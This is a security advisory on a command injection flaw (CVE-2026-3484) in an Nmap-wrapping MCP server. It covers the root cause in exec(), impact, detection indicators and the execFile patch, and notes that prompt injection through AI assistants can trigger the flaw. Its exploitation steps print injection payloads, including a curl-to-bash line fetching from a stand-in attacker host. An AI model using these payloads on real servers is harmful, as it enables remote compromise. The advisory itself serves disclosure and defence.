CVE-2026-3484: 
JavaScript vulnerability analysis and mitigation

CVE-2026-3484 is a command injection vulnerability in PhialsBasement nmap-mcp-server, a Model Context Protocol (MCP) server that enables AI assistants to perform network scanning via Nmap. The flaw affects all versions up to and including 1.0.1 (up to commit bee6d23547d57ae02460022f7c78ac0893092e38). It was publicly disclosed on March 3, 2026, with a patch committed on the same date. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (Feedly, VulDB).

The root cause is improper neutralization of special elements used in a command (CWE-77 / CWE-74): the runNmapScan function in src/index.ts (lines 30–72) constructs a shell command string and passes it to Node.js's child_process.exec() without sanitizing user-supplied parameters. Specifically, the additionalFlags parameter — along with target, ports, scanType, and timing — is concatenated directly into the shell command, allowing an authenticated attacker to inject shell metacharacters such as ;, &&, or | to execute arbitrary OS commands. The attack requires low privileges and no user interaction, and is exploitable remotely over the network (GitHub Issue #7, Feedly).

Successful exploitation allows an authenticated remote attacker with low privileges to execute arbitrary system commands in the context of the MCP server process, resulting in full compromise of confidentiality, integrity, and availability of the host system. An attacker could read sensitive files, modify system data, install backdoors, or disrupt service availability. Because the server is designed to interface with AI assistants (e.g., Claude Desktop), environments where the MCP server is exposed to untrusted AI-generated inputs face elevated risk of prompt-injection-driven exploitation (GitHub Issue #7, Feedly).

Proof-of-concept exploit details are publicly available via the GitHub issue tracker, including a detailed write-up and a PDF demonstrating the vulnerability (GitHub Issue #7). There is no confirmed evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.35%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Identify a target: Locate an instance of nmap-mcp-server version ≤ 1.0.1 accessible over the network, such as one configured with Claude Desktop or another MCP-compatible AI assistant.
2. Authenticate with low privileges: Obtain any valid low-privilege credentials or session access to the MCP server's run_nmap_scan tool interface.
3. Craft a malicious additionalFlags payload: Prepare a payload that injects shell metacharacters into the additionalFlags parameter, for example: ; id > /tmp/pwned or && curl http://attacker.com/shell.sh | bash.
4. Submit the malicious request: Invoke the run_nmap_scan function with a benign target (e.g., localhost) and the crafted additionalFlags value. The server concatenates this unsanitized input into a shell command string passed to child_process.exec().
5. Achieve arbitrary command execution: The injected command executes on the server host in the context of the Node.js process, enabling data exfiltration, reverse shell establishment, or further lateral movement (GitHub Issue #7, GitHub Commit).

• Process: Unexpected child processes spawned by the Node.js nmap-mcp-server process (e.g., /bin/sh, bash, curl, wget, python) with unusual arguments or network connections.
• Logs: MCP server logs showing run_nmap_scan invocations with additionalFlags values containing shell metacharacters (;, &&, |, `, $, (, )).
• File System: Unexpected files created in world-writable directories (e.g., /tmp/) by the server process; new cron jobs, scripts, or binaries placed by the server's user account.
• Network: Outbound connections from the server host to unexpected external IPs or domains, particularly shortly after run_nmap_scan invocations; unusual DNS queries originating from the server process.

Apply the patch introduced in commit 30a6b9e1c7fa6146f51e28d6ab83a2568d9a3488, which replaces child_process.exec() with execFile() and passes arguments as an array, eliminating shell interpretation. The patch also adds an allowlist (ALLOWED_FLAGS) for the additionalFlags parameter and validates each flag against dangerous characters. As an interim workaround, restrict network access to the MCP server to trusted users and networks only, and disable the additionalFlags functionality if not required. Since the project uses a rolling release, updating to any version beyond commit bee6d23 (i.e., beyond 1.0.1) will include the fix (GitHub Commit, Feedly). Note: The repository has since been archived by the owner (June 1, 2026) with a warning about prompt injection risks (GitHub Repo).

The repository owner added a prominent warning to the README advising users not to use the server due to exposure to prompt injection vulnerabilities, and subsequently archived the repository on June 1, 2026 (GitHub Repo). The vulnerability was reported by a community researcher (user 123mutouren321414) who attempted responsible disclosure via email before filing the public GitHub issue (GitHub Issue #7). The case highlights broader concerns in the security community about MCP servers exposing powerful system tools (like Nmap) to AI-driven inputs without adequate input validation.